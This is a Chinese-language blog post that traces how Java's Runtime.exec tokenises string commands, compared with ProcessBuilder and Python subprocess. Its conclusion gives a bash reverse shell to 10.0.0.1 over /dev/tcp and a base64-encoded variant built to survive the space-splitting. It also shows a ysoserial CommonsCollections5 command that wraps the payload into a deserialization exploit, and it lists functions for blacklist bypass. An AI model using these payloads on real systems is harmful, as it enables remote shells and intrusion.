Java Runtime.getRuntime().exec参数的一些问题

date
Jun 16, 2022
slug
java-runtime-exec-param-problem
status
Published
tags
Java安全
安全研究
summary
这个点有时候实际情况坑还是挺多的
type
Post
 
首先Java下的命令执行大家都知道常见的两种方式:
1.使用ProcessBuilder
ProcessBuilder pb=new ProcessBuilder(cmd);
pb.start();
2.使用Runtime
Runtime.getRuntime().exec(cmd)
但是这两种方式在遇到|,<,>等符号就不太能够执行
比如这样一段代码:
String cmd = "echo 3333 && echo 3333";
 Process proc = Runtime.getRuntime().exec(cmd);
 InputStream in = proc.getInputStream();
 BufferedReader br = new BufferedReader(new InputStreamReader(in,"UTF8"));
 String line = "";
while((line = br.readLine()) != null){
         System.out.println(line);
  }
只会执行前面一段
notion image
跟进exec函数可以发现,实现了函数的重载overlay
public Process exec(String command) throws IOException {
        return exec(command, null, null);
    }

public Process exec(String command, String[] envp) throws IOException {
        return exec(command, envp, null);
    }

public Process exec(String cmdarray[]) throws IOException {
        return exec(cmdarray, null, null);
    }

public Process exec(String[] cmdarray, String[] envp) throws IOException {
        return exec(cmdarray, envp, null);
    }
根据上述代码例子执行的应该是String Command参数的那一个函数,继续跟进那个函数,发现进入到这个exec函数中,command的内容进入到了StringTokenizer中
notion image
继续跟,发现这个函数是给一些特殊字符上tag
然后再次返回到exec中,此时命令已经变成了数组
notion image
继续跟进可以发现exec其实本质是使用的还是ProcessBuilder进行命令执行
notion image
因为ProcessBuilder.start方法是命令执行,那么跟进这个start我们发现,首先prog获取cmdarray[0]也就是我们的/bin/sh,然后判断security是否为null,如果不为null就会校验checkExec
notion image
然后会跟进到java.lang.ProcessImpl.start 函数中
notion image
继续跟进,发现存在调用java.lang.UnixProcess这个类的构造函数来执行命令,而且使用的是cmdarray[0]来判断用什么命令
notion image
最后使用forkAndExec启动一个新进程,此处可以发现启动进程的pid为24909
notion image
实际上这个函数是一个native函数,后面会调用C/C++的代码,所以这里继续跟下去是看不到对应内容的了
notion image
此时观察一下确实执行了一条echo的命令
notion image
其实从这一步java.lang.Runtime#exec(java.lang.String[], java.lang.String[], java.io.File)就可以发现命令执行已经变了味道,命令都被分割成一块块的,相当于第一个echo后面的内容都是echo执行的参数,所以最后会命令执行结果输出3333 && echo 3333
notion image
如果改成了数组类型的,String[] cmd = {"echo 3333", "&&","echo 34444"}; ,此时就没有经过StringTokenizer这个类的拆分,进入ProcessBuilder也没像上面分成一块块的,完全是按照我们数组的分块传入
notion image
综上,也就是说getRuntime().exec()如果直接传入字符串会经过StringTokenizer的分割,进而破坏其原本想要表达的意思。
可见经过StringTokenizer对字符串中空格类的处理其实是一种java对命令执行的保护机制,他可以防御以下这种命令注入,其效果相当于php中的escapeshellcmd。
String cmd = "echo " + 可控点;
Runtime.getRuntime().exec(cmd)
还有一个点就是命令为什么要分隔成数组,原因是因为ProcessBuilder,它的构造方法中只允许列表和字符串数组
public ProcessBuilder(String... command) {
    this.command = new ArrayList<>(command.length);
    for (String arg : command)
        this.command.add(arg);
}

public ProcessBuilder(List<String> command) {
    if (command == null)
        throw new NullPointerException();
    this.command = command;
}
 

总结

  1. 上述问题的解决方法:
    1. 一.使用数组的方式进行命令执行
      String[] command = { "/bin/sh", "-c", "echo 2333 2333 2333 && echo 2333 2333 2333" };
      Runtime.getRuntime().exec(command)
      二.使用编码的方式绕过对空格分割
      Linux一般使用bash,Windows一般使用powershell
      notion image
 
P牛对这个点也做了解释
notion image
所以测了一下这个subprocess,当shell参数为true的时候,相当于执行shell语句,所以反引号是可以执行命令的
notion image
但是当shell为False的话,就是执行启动命令本身,也就是curl,所以返回原来的内容
notion image
Java中的Runtime.getRuntime().exec()效果类似shell=False,而PHP中的shell_exec就类似于shell=True。所以在Java中如果需要执行bash的话,那么就需要保证第一个参数为bash了,改造一下就是这样
bash -c "bash -i >& /dev/tcp/10.0.0.1/21 0>&1”
但Runtime.getRuntime().exec()有另外一个特性,它会用空格将命令分割成一个数组,并将数组的第一个字符串作为可执行文件路径,后面的字符串作为参数。容易破坏了命令原本的意思
所以一般需要规避一下空格,可以用上面的格式转换的地址转换一下,变成这样:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS8yMSAwPiYxIA==}|{base64,-d}|{bash,-i}
此时就可以直接yso进行处理了
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS8yMSAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser
 
  1. 调试过程中一些关键函数点,可用于黑名单绕过
    1. Runtime.exec
    2. new ProcessBuilder(cmd).start/java.lang.ProcessImpl.start
    3. UnixProcess的构造函数
    4. UnixProcessforkAndExec 函数

© 4me 2021 - 2024